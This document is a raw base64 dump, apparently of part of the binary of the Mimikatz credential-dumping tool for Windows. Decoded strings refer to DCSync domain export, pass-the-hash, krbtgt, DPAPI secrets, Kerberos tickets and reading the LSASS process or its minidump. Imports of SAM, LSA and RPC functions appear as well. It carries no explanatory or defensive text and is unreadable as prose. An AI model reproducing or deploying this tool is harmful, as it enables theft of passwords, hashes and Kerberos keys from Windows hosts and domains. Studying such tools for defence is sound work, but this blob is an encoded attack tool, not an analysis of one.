E8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AaQBuAGUAcwB3AGUAZQBwAGUAcgAgAE4AVAAgAEgAZQBhAGQAZQByAHMACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AaQBuAGUAcwB3AGUAZQBwAGUAcgAgAFAARQBCAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE4AbwAgAE0AaQBuAGUAUwB3AGUAZQBwAGUAcgAgAGkAbgAgAG0AZQBtAG8AcgB5ACEACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIABlAGwAZQBtAGUAbgB0AHMAIABmAHIAbwBtACAAYwBvAGwAdQBtAG4AOgAgACUAdQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAHIAZQBmAGUAcgBlAG4AYwBlAHMAIABmAHIAbwBtACAAYwBvAGwAdQBtAG4AOgAgACUAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAZgBpAHIAcwB0ACAAZQBsAGUAbQBlAG4AdAAKAAAAMS4yLjg0MC4xMTM1NTYuMS40LjEAAAAAMS4yLjg0MC4xMTM1NTYuMS40LjIyMQAAMS4yLjg0MC4xMTM1NTYuMS40LjY1NgAAMS4yLjg0MC4xMTM1NTYuMS40LjMwMgAAMS4yLjg0MC4xMTM1NTYuMS40LjgAAAAAMS4yLjg0MC4xMTM1NTYuMS40LjE1OQAAMS4yLjg0MC4xMTM1NTYuMS40Ljk2AAAAMS4yLjg0MC4xMTM1NTYuMS40LjE0NgAAMS4yLjg0MC4xMTM1NTYuMS40LjYwOQAAMS4yLjg0MC4xMTM1NTYuMS40LjEzMwAAYQBsAGwAAABjAHMAdgAAAGsAZABjAAAAWwBEAEMAXQAgAEUAeABwAG8AcgB0AGkAbgBnACAAZABvAG0AYQBpAG4AIAAnACUAcwAnAAoAAABbAEQAQwBdACAATwBiAGoAZQBjAHQAIAB3AGkAdABoACAARwBVAEkARAAgACcAJQBzACcACgAAAAAAAABbAEQAQwBdACAAJwAlAHMAJwAgAHcAaQBsAGwAIABiAGUAIAB0AGgAZQAgAHUAcwBlAHIAIABhAGMAYwBvAHUAbgB0AAoAAABsAGQAYQBwAAAAAABhAGwAdABzAGUAcgB2AGkAYwBlAAAAAAAAAAAAWwBEAEMAXQAgAG0AcwAtAEQAUwAtAFIAZQBwAGwAaQBjAGEAdABpAG8AbgBFAHAAbwBjAGgAIABpAHMAOgAgACUAdQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARABSAFMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMALAAgAGkAbgB2AGEAbABpAGQAIABkAHcATwB1AHQAVgBlAHIAcwBpAG8AbgAgACgAJQB1ACkAIABhAG4AZAAvAG8AcgAgAGMATgB1AG0ATwBiAGoAZQBjAHQAcwAgACgAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABNAGkAcwBzAGkAbgBnACAAdQBzAGUAcgAgAG8AcgAgAGcAdQBpAGQAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEQAbwBtAGEAaQBuACAAQwBvAG4AdAByAG8AbABsAGUAcgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARABvAG0AYQBpAG4AIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQALAAgAG8AcgAgAGQAbwBlAHMAbgAnAHQAIABsAG8AbwBrACAAbABpAGsAZQAgAGEAIABGAFEARABOAAoAAAAAACAAIAAgACAAJQBzAC0AJQAyAHUAOgAgAAAAAAAgACAASABhAHMAaAAgACUAcwA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFIAdABsAEQAZQBjAHIAeQBwAHQARABFAFMAMgBiAGwAbwBjAGsAcwAxAEQAVwBPAFIARAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjAF8AZABlAHMAYwByAE8AYgBqAGUAYwB0AF8AYwBzAHYAIAA7ACAAUgB0AGwARABlAGMAcgB5AHAAdABEAEUAUwAyAGIAbABvAGMAawBzADEARABXAE8AUgBEAAAAAAAKAE8AYgBqAGUAYwB0ACAAUgBEAE4AIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAUwBDAFIASQBQAFQAAAAAAEEAQwBDAE8AVQBOAFQARABJAFMAQQBCAEwARQAAAAAAMAB4ADQAIAA/AAAASABPAE0ARQBEAEkAUgBfAFIARQBRAFUASQBSAEUARAAAAAAATABPAEMASwBPAFUAVAAAAFAAQQBTAFMAVwBEAF8ATgBPAFQAUgBFAFEARAAAAAAAUABBAFMAUwBXAEQAXwBDAEEATgBUAF8AQwBIAEEATgBHAEUAAAAAAEUATgBDAFIAWQBQAFQARQBEAF8AVABFAFgAVABfAFAAQQBTAFMAVwBPAFIARABfAEEATABMAE8AVwBFAEQAAABUAEUATQBQAF8ARABVAFAATABJAEMAQQBUAEUAXwBBAEMAQwBPAFUATgBUAAAAAABOAE8AUgBNAEEATABfAEEAQwBDAE8AVQBOAFQAAAAAADAAeAA0ADAAMAAgAD8AAABJAE4AVABFAFIARABPAE0AQQBJAE4AXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAVwBPAFIASwBTAFQAQQBUAEkATwBOAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAFMARQBSAFYARQBSAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAAAAMAB4ADQAMAAwADAAIAA/AAAAAAAwAHgAOAAwADAAMAAgAD8AAAAAAEQATwBOAFQAXwBFAFgAUABJAFIARQBfAFAAQQBTAFMAVwBEAAAAAABNAE4AUwBfAEwATwBHAE8ATgBfAEEAQwBDAE8AVQBOAFQAAABTAE0AQQBSAFQAQwBBAFIARABfAFIARQBRAFUASQBSAEUARAAAAAAAVABSAFUAUwBUAEUARABfAEYATwBSAF8ARABFAEwARQBHAEEAVABJAE8ATgAAAAAATgBPAFQAXwBEAEUATABFAEcAQQBUAEUARAAAAFUAUwBFAF8ARABFAFMAXwBLAEUAWQBfAE8ATgBMAFkAAAAAAEQATwBOAFQAXwBSAEUAUQBVAEkAUgBFAF8AUABSAEUAQQBVAFQASAAAAAAAUABBAFMAUwBXAE8AUgBEAF8ARQBYAFAASQBSAEUARAAAAAAAVABSAFUAUwBUAEUARABfAFQATwBfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAF8ARgBPAFIAXwBEAEUATABFAEcAQQBUAEkATwBOAAAAAABOAE8AXwBBAFUAVABIAF8ARABBAFQAQQBfAFIARQBRAFUASQBSAEUARAAAAFAAQQBSAFQASQBBAEwAXwBTAEUAQwBSAEUAVABTAF8AQQBDAEMATwBVAE4AVAAAAFUAUwBFAF8AQQBFAFMAXwBLAEUAWQBTAAAAAAAwAHgAMQAwADAAMAAwADAAMAAwACAAPwAAAAAAMAB4ADIAMAAwADAAMAAwADAAMAAgAD8AAAAAADAAeAA0ADAAMAAwADAAMAAwADAAIAA/AAAAAAAwAHgAOAAwADAAMAAwADAAMAAwACAAPwAAAAAARABPAE0AQQBJAE4AXwBPAEIASgBFAEMAVAAAAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAAABOAE8ATgBfAFMARQBDAFUAUgBJAFQAWQBfAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAQQBMAEkAQQBTAF8ATwBCAEoARQBDAFQAAAAAAE4ATwBOAF8AUwBFAEMAVQBSAEkAVABZAF8AQQBMAEkAQQBTAF8ATwBCAEoARQBDAFQAAABVAFMARQBSAF8ATwBCAEoARQBDAFQAAABNAEEAQwBIAEkATgBFAF8AQQBDAEMATwBVAE4AVAAAAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAABBAFAAUABfAEIAQQBTAEkAQwBfAEcAUgBPAFUAUAAAAEEAUABQAF8AUQBVAEUAUgBZAF8ARwBSAE8AVQBQAAAAKgAqACAAUwBBAE0AIABBAEMAQwBPAFUATgBUACAAKgAqAAoACgAAAFMAQQBNACAAVQBzAGUAcgBuAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAAAFUAcwBlAHIAIABQAHIAaQBuAGMAaQBwAGEAbAAgAE4AYQBtAGUAIAAgADoAIAAAAEEAYwBjAG8AdQBuAHQAIABUAHkAcABlACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAAKAAgACUAcwAgACkACgAAAFUAcwBlAHIAIABBAGMAYwBvAHUAbgB0ACAAQwBvAG4AdAByAG8AbAAgADoAIAAlADAAOAB4ACAAKAAgAAAAAABBAGMAYwBvAHUAbgB0ACAAZQB4AHAAaQByAGEAdABpAG8AbgAgACAAIAA6ACAAAABQAGEAcwBzAHcAbwByAGQAIABsAGEAcwB0ACAAYwBoAGEAbgBnAGUAIAA6ACAAAABTAEkARAAgAGgAaQBzAHQAbwByAHkAOgAKAAAATwBiAGoAZQBjAHQAIABTAGUAYwB1AHIAaQB0AHkAIABJAEQAIAAgACAAOgAgAAAATwBiAGoAZQBjAHQAIABSAGUAbABhAHQAaQB2AGUAIABJAEQAIAAgACAAOgAgACUAdQAKAAAAAAAKAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA6AAoAAAAAAAoAUwB1AHAAcABsAGUAbQBlAG4AdABhAGwAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOgAKAAAAKgAgACUAdwBaACAAKgAKAAAAAAAlMDJ4AAAAACAAIAAgACAAVQBuAGsAbgBvAHcAbgAgAGQAYQB0AGEAIAA6ACAAAAAqACoAIABUAFIAVQBTAFQARQBEACAARABPAE0AQQBJAE4AIAAtACAAQQBuAHQAaQBzAG8AYwBpAGEAbAAgACoAKgAKAAoAAABQAGEAcgB0AG4AZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgAAAEIAQwBLAFUAUABLAEUAWQBfAAAAQgBDAEsAVQBQAEsARQBZAF8AUAAgAFMAZQBjAHIAZQB0AAAAQgBDAEsAVQBQAEsARQBZAF8AUABSAEUARgBFAFIAUgBFAEQAIABTAGUAYwByAGUAdAAAAEwAaQBuAGsAIAB0AG8AIABrAGUAeQAgAHcAaQB0AGgAIABHAFUASQBEADoAIAAAACAAKABuAG8AdAAgAGEAbgAgAG8AYgBqAGUAYwB0ACAARwBVAEkARAApAAoAAAAAAGwAcwBhAHMAcgB2AAAAAABMc2FJQ2FuY2VsTm90aWZpY2F0aW9uAABMc2FJUmVnaXN0ZXJOb3RpZmljYXRpb24AAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBuAHQANQBfAGkAbgBpAHQAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAHMAZQBhAHIAYwBoAAoAAAAAAEMAaABhAGkAbgBpAG4AZwBNAG8AZABlAAAAAABPAGIAagBlAGMAdABMAGUAbgBnAHQAaAAAAAAAbQBzAHYAAABMAGkAcwB0AHMAIABMAE0AIAAmACAATgBUAEwATQAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAHcAZABpAGcAZQBzAHQAAABMAGkAcwB0AHMAIABXAEQAaQBnAGUAcwB0ACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAATABpAHMAdABzACAASwBlAHIAYgBlAHIAbwBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAB0AHMAcABrAGcAAABMAGkAcwB0AHMAIABUAHMAUABrAGcAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABsAGkAdgBlAHMAcwBwAAAATABpAHMAdABzACAATABpAHYAZQBTAFMAUAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAHMAcwBwAAAATABpAHMAdABzACAAUwBTAFAAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAEwAaQBzAHQAcwAgAGEAbABsACAAYQB2AGEAaQBsAGEAYgBsAGUAIABwAHIAbwB2AGkAZABlAHIAcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAABTAHcAaQB0AGMAaAAgACgAbwByACAAcgBlAGkAbgBpAHQAKQAgAHQAbwAgAEwAUwBBAFMAUwAgAHAAcgBvAGMAZQBzAHMAIAAgAGMAbwBuAHQAZQB4AHQAAAAAAG0AaQBuAGkAZAB1AG0AcAAAAAAAUwB3AGkAdABjAGgAIAAoAG8AcgAgAHIAZQBpAG4AaQB0ACkAIAB0AG8AIABMAFMAQQBTAFMAIABtAGkAbgBpAGQAdQBtAHAAIABjAG8AbgB0AGUAeAB0AAAAAABwAHQAaAAAAFAAYQBzAHMALQB0AGgAZQAtAGgAYQBzAGgAAABrAHIAYgB0AGcAdAAhAAAAZABwAGEAcABpAHMAeQBzAHQAZQBtAAAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AIABzAGUAYwByAGUAdAAAAHQAaQBjAGsAZQB0AHMAAABMAGkAcwB0ACAASwBlAHIAYgBlAHIAbwBzACAAdABpAGMAawBlAHQAcwAAAGUAawBlAHkAcwAAAEwAaQBzAHQAIABLAGUAcgBiAGUAcgBvAHMAIABFAG4AYwByAHkAcAB0AGkAbwBuACAASwBlAHkAcwAAAEwAaQBzAHQAIABDAGEAYwBoAGUAZAAgAE0AYQBzAHQAZQByAEsAZQB5AHMAAAAAAGMAcgBlAGQAbQBhAG4AAABMAGkAcwB0ACAAQwByAGUAZABlAG4AdABpAGEAbABzACAATQBhAG4AYQBnAGUAcgAAAAAAcwBlAGsAdQByAGwAcwBhAAAAAABTAGUAawB1AHIATABTAEEAIABtAG8AZAB1AGwAZQAAAAAAAABTAG8AbQBlACAAYwBvAG0AbQBhAG4AZABzACAAdABvACAAZQBuAHUAbQBlAHIAYQB0AGUAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMALgAuAC4AAABTAHcAaQB0AGMAaAAgAHQAbwAgAFAAUgBPAEMARQBTAFMACgAAAAAAUwB3AGkAdABjAGgAIAB0AG8AIABNAEkATgBJAEQAVQBNAFAAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAG0AaQBuAGkAZAB1AG0AcAAgADsAIAA8AG0AaQBuAGkAZAB1AG0AcABmAGkAbABlAC4AZABtAHAAPgAgAGEAcgBnAHUAbQBlAG4AdAAgAGkAcwAgAG0AaQBzAHMAaQBuAGcACgAAAAAAAAAAAE8AcABlAG4AaQBuAGcAIAA6ACAAJwAlAHMAJwAgAGYAaQBsAGUAIABmAG8AcgAgAG0AaQBuAGkAZAB1AG0AcAAuAC4ALgAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAUwBBAFMAUwAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdAAgAGYAbwB1AG4AZAAgACgAPwApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAcABJAG4AZgBvAHMALQA+AE0AYQBqAG8AcgBWAGUAcgBzAGkAbwBuACAAKAAlAHUAKQAgACEAPQAgAE0ASQBNAEkASwBBAFQAWgBfAE4AVABfAE0AQQBKAE8AUgBfAFYARQBSAFMASQBPAE4AIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAcABJAG4AZgBvAHMALQA+AFAAcgBvAGMAZQBzAHMAbwByAEEAcgBjAGgAaQB0AGUAYwB0AHUAcgBlACAAKAAlAHUAKQAgACEAPQAgAFAAUgBPAEMARQBTAFMATwBSAF8AQQBSAEMASABJAFQARQBDAFQAVQBSAEUAXwBJAE4AVABFAEwAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAdwBpAHQAaABvAHUAdAAgAFMAeQBzAHQAZQBtAEkAbgBmAG8AUwB0AHIAZQBhAG0AIAAoAD8AKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABtAGkAbQBpAGsAYQB0AHoAIAB4ADgANgAgAGMAYQBuAG4AbwB0ACAAYQBjAGMAZQBzAHMAIAB4ADYANAAgAHAAcgBvAGMAZQBzAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEsAZQB5ACAAaQBtAHAAbwByAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBnAG8AbgAgAGwAaQBzAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AbwBkAHUAbABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AZQBtAG8AcgB5ACAAbwBwAGUAbgBpAG4AZwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAASABhAG4AZABsAGUAIABvAG4AIABtAGUAbQBvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAG8AYwBhAGwAIABMAFMAQQAgAGwAaQBiAHIAYQByAHkAIABmAGEAaQBsAGUAZAAKAAAAAAAJACUAcwAgADoACQAAAAAAVQBuAGQAZQBmAGkAbgBlAGQATABvAGcAbwBuAFQAeQBwAGUAAAAAAFUAbgBrAG4AbwB3AG4AIAAhAAAASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAATgBlAHQAdwBvAHIAawAAAEIAYQB0AGMAaAAAAFMAZQByAHYAaQBjAGUAAABQAHIAbwB4AHkAAABVAG4AbABvAGMAawAAAAAATgBlAHQAdwBvAHIAawBDAGwAZQBhAHIAdABlAHgAdAAAAAAATgBlAHcAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAABSAGUAbQBvAHQAZQBJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABDAGEAYwBoAGUAZABJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABDAGEAYwBoAGUAZABSAGUAbQBvAHQAZQBJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABDAGEAYwBoAGUAZABVAG4AbABvAGMAawAAAAAACgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AIABJAGQAIAA6ACAAJQB1ACAAOwAgACUAdQAgACgAJQAwADgAeAA6ACUAMAA4AHgAKQAKAFMAZQBzAHMAaQBvAG4AIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIABmAHIAbwBtACAAJQB1AAoAVQBzAGUAcgAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACUAdwBaAAoARABvAG0AYQBpAG4AIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAdwBaAAoATABvAGcAbwBuACAAUwBlAHIAdgBlAHIAIAAgACAAIAAgACAAOgAgACUAdwBaAAoAAAAAAEwAbwBnAG8AbgAgAFQAaQBtAGUAIAAgACAAIAAgACA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lAAANAU5ldFdrc3RhVXNlckVudW0AAO8ATmV0U2hhcmVFbnVtAADzAE5ldFN0YXRpc3RpY3NHZXQAAOcATmV0U2Vzc2lvbkVudW0AALwATmV0UmVtb3RlVE9EAADcAE5ldFNlcnZlckdldEluZm8AAE5FVEFQSTMyLmRsbAAAEABDb0NyZWF0ZUluc3RhbmNlAABsAENvVW5pbml0aWFsaXplAAA/AENvSW5pdGlhbGl6ZUV4AABvbGUzMi5kbGwAT0xFQVVUMzIuZGxsAABjAVJwY0JpbmRpbmdJbnFBdXRoQ2xpZW50VwAAcQFScGNCaW5kaW5nU2V0T3B0aW9uAF8BUnBjQmluZGluZ0Zyb21TdHJpbmdCaW5kaW5nVwAA7gFScGNTdHJpbmdCaW5kaW5nQ29tcG9zZVcAAG4BUnBjQmluZGluZ1NldEF1dGhJbmZvRXhXAADyAVJwY1N0cmluZ0ZyZWVXAAB9AE1lc0hhbmRsZUZyZWUAjwFScGNJbXBlcnNvbmF0ZUNsaWVudAAAsAFScGNSZXZlcnRUb1NlbGYAfABNZXNFbmNvZGVJbmNyZW1lbnRhbEhhbmRsZUNyZWF0ZQAAeQBNZXNEZWNvZGVJbmNyZW1lbnRhbEhhbmRsZUNyZWF0ZQAAXQFScGNCaW5kaW5nRnJlZQAAfgBNZXNJbmNyZW1lbnRhbEhhbmRsZVJlc2V0APMATmRyTWVzVHlwZUVuY29kZTIA8QBOZHJNZXNUeXBlRGVjb2RlMgD0AE5kck1lc1R5cGVGcmVlMgDvAE5kck1lc1R5cGVBbGlnblNpemUyAAAgAElfUnBjQmluZGluZ0lucVNlY3VyaXR5Q29udGV4dAAAlQBOZHJDbGllbnRDYWxsMgAAGwFOZHJTZXJ2ZXJDYWxsMgAA+wFVdWlkQ3JlYXRlAAB1AVJwY0JpbmRpbmdWZWN0b3JGcmVlAACRAVJwY01nbXRFcEVsdElucUJlZ2luAACSAVJwY01nbXRFcEVsdElucURvbmUAzQFScGNTZXJ2ZXJVc2VQcm90c2VxRXBXAADDAVJwY1NlcnZlclVucmVnaXN0ZXJJZkV4AHMBUnBjQmluZGluZ1RvU3RyaW5nQmluZGluZ1cAAL4BUnBjU2VydmVyUmVnaXN0ZXJJZjIAAJQBUnBjTWdtdEVwRWx0SW5xTmV4dFcAAH8BUnBjRXBSZXNvbHZlQmluZGluZwC6AVJwY1NlcnZlckxpc3RlbgC8AVJwY1NlcnZlclJlZ2lzdGVyQXV0aEluZm9XAACAAVJwY0VwVW5yZWdpc3RlcgB+AVJwY0VwUmVnaXN0ZXJXAAC0AVJwY1NlcnZlcklucUJpbmRpbmdzAACiAVJwY01nbXRTdG9wU2VydmVyTGlzdGVuaW5nAABSUENSVDQuZGxsAAA6AFBhdGhDb21iaW5lVwAAOABQYXRoQ2Fub25pY2FsaXplVwBlAFBhdGhJc1JlbGF0aXZlVwBJAFBhdGhGaW5kRmlsZU5hbWVXAFsAUGF0aElzRGlyZWN0b3J5VwAAU0hMV0FQSS5kbGwAEwBTYW1FbnVtZXJhdGVVc2Vyc0luRG9tYWluAB0AU2FtTG9va3VwTmFtZXNJbkRvbWFpbgAAHwBTYW1PcGVuRG9tYWluABEAU2FtRW51bWVyYXRlRG9tYWluc0luU2FtU2VydmVyAAAhAFNhbU9wZW5Vc2VyADgAU2FtaUNoYW5nZVBhc3N3b3JkVXNlcgAAHABTYW1Mb29rdXBJZHNJbkRvbWFpbgAABwBTYW1Db25uZWN0AAAGAFNhbUNsb3NlSGFuZGxlAAAbAFNhbUxvb2t1cERvbWFpbkluU2FtU2VydmVyAAAUAFNhbUZyZWVNZW1vcnkAJgBTYW1RdWVyeUluZm9ybWF0aW9uVXNlcgAwAFNhbVNldEluZm9ybWF0aW9uVXNlcgAgAFNhbU9wZW5Hcm91cAAAEABTYW1FbnVtZXJhdGVBbGlhc2VzSW5Eb21haW4ALABTYW1SaWRUb1NpZAAeAFNhbU9wZW5BbGlhcwAAFQBTYW1HZXRBbGlhc01lbWJlcnNoaXAAEgBTYW1FbnVtZXJhdGVHcm91cHNJbkRvbWFpbgAAGgBTYW1HZXRNZW1iZXJzSW5Hcm91cAAAGQBTYW1HZXRNZW1iZXJzSW5BbGlhcwAAGABTYW1HZXRHcm91cHNGb3JVc2VyAFNBTUxJQi5kbGwAABgARnJlZUNvbnRleHRCdWZmZXIANABRdWVyeUNvbnRleHRBdHRyaWJ1dGVzVwAnAExzYUNvbm5lY3RVbnRydXN0ZWQAKABMc2FEZXJlZ2lzdGVyTG9nb25Qcm9jZXNzACYATHNhQ2FsbEF1dGhlbnRpY2F0aW9uUGFja2FnZQAALQBMc2FMb29rdXBBdXRoZW50aWNhdGlvblBhY2thZ2UAACoATHNhRnJlZVJldHVybkJ1ZmZlcgBTZWN1cjMyLmRsbAAGAENvbW1hbmRMaW5lVG9Bcmd2VwAAU0hFTEwzMi5kbGwAwwFJc0NoYXJBbHBoYU51bWVyaWNXAD4BR2V0S2V5Ym9hcmRMYXlvdXQAVVNFUjMyLmRsbAAABABEZXN0cm95RW52aXJvbm1lbnRCbG9jawAAAENyZWF0ZUVudmlyb25tZW50QmxvY2sAAFVTRVJFTlYuZGxsAAUAR2V0RmlsZVZlcnNpb25JbmZvU2l6ZVcADgBWZXJRdWVyeVZhbHVlVwAABgBHZXRGaWxlVmVyc2lvbkluZm9XAFZFUlNJT04uZGxsAAUASGlkRF9HZXRIaWRHdWlkAAEASGlkRF9GcmVlUHJlcGFyc2VkRGF0YQAADABIaWREX0dldFByZXBhcnNlZERhdGEAFQBIaWRQX0dldENhcHMAAAIASGlkRF9HZXRBdHRyaWJ1dGVzAABISUQuRExMAD8BU2V0dXBEaURlc3Ryb3lEZXZpY2VJbmZvTGlzdAAAQwFTZXR1cERpRW51bURldmljZUludGVyZmFjZXMAVgFTZXR1cERpR2V0Q2xhc3NEZXZzVwAAbgFTZXR1cERpR2V0RGV2aWNlSW50ZXJmYWNlRGV0YWlsVwAAU0VU